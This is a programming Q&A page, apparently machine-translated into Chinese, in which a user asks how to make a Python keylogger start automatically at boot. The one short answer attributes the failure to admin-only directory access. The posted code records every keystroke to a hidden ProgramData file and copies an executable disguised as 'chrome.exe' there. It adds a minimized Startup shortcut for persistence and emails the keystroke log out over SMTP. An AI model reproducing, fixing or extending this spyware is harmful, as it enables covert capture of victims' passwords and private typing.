2017-11-25 95 views
-2

即時通訊編程中的新功能,我需要某種幫助。 我使用Google的示例製作了簡單的「鍵盤記錄器」。一切正常,但我不知道,如何自動添加鍵盤記錄到自動啓動。我第一次使用管理員權限運行後,嘗試自動複製文件到選定的目標,然後發送快捷方式到自動啓動。但問題是,每次我重新啓動計算機,它都需要管理員權限,所以我只能獲得警報,關於啓動腳本失敗,腳本崩潰。我認爲它是因爲,腳本每次都會嘗試將文件添加到自動啓動,即使其中一個已經存在。下面是代碼,你可以看到,我想ifexcept塊,但它仍然是行不通像我想要:(Python;在啓動時運行的鍵盤記錄程序

import logging 
from pynput.keyboard import Key, Listener 

import smtplib 
from email.mime.text import MIMEText 
from email.mime.multipart import MIMEMultipart 
from email.mime.base import MIMEBase 
from email import encoders 

import win32com.client 
import pythoncom 
import os 

import pathlib 
pathlib.Path('C:\ProgramData\degid').mkdir(parents=True, exist_ok=True) 
pathlib.Path('C:\ProgramData\degid\degid.txt').touch(mode=0o666, exist_ok=True) 

import shutil 

srcfile = 'chrome.exe' 
dstroot = 'C:\ProgramData\degid' 
dstdir = os.path.join(dstroot, os.path.dirname(srcfile)) 
shutil.copy(srcfile, dstdir) 

filePath = 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup' 

if os.path.exists(filePath): 
    if os.path.isfile(filePath+'chrome.lnk')==False: 
     try: 
      desktop = r'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup' 
      path = os.path.join(desktop, 'chrome.lnk') 
      target = r'C:\ProgramData\degid\chrome.exe' 
      shell = win32com.client.Dispatch("WScript.Shell") 
      shortcut = shell.CreateShortCut(path) 
      shortcut.Targetpath = target 
      shortcut.WindowStyle = 7 # 7 - Minimized, 3 - Maximized, 1 - Normal 
      shortcut.save() 
     except: 
      pass 

email_user = '' 
email_password = '' 
email_send = '' 

subject = '' 

msg = MIMEMultipart() 
msg['From'] = email_user 
msg['To'] = email_send 
msg['Subject'] = subject 

body = 'Hi there' 
msg.attach(MIMEText(body,'plain')) 

filename='C:\ProgramData\degid\degid.txt' 
attachment =open(filename,'rb') 

part = MIMEBase('application','octet-stream') 
part.set_payload((attachment).read()) 
encoders.encode_base64(part) 
part.add_header('Content-Disposition',"attachment; filename= "+filename) 

msg.attach(part) 
text = msg.as_string() 
server = smtplib.SMTP('', 587) 
server.starttls() 
server.login(email_user,email_password) 

server.sendmail(email_user,email_send,text) 
server.quit() 

log_dir ="" 

logging.basicConfig(filename=(log_dir+'C:\ProgramData\degid\degid.txt'), level=logging.DEBUG, format='%(asctime)s: %(message)s') 

def on_press(key): 
    logging.info(str(key)) 

with Listener(on_press=on_press) as listener: 
    listener.join() 

回答

0

您正在訪問的目錄和嘗試看看,如果文件存在需要管理員prevs訪問 - 即使是讀取目錄。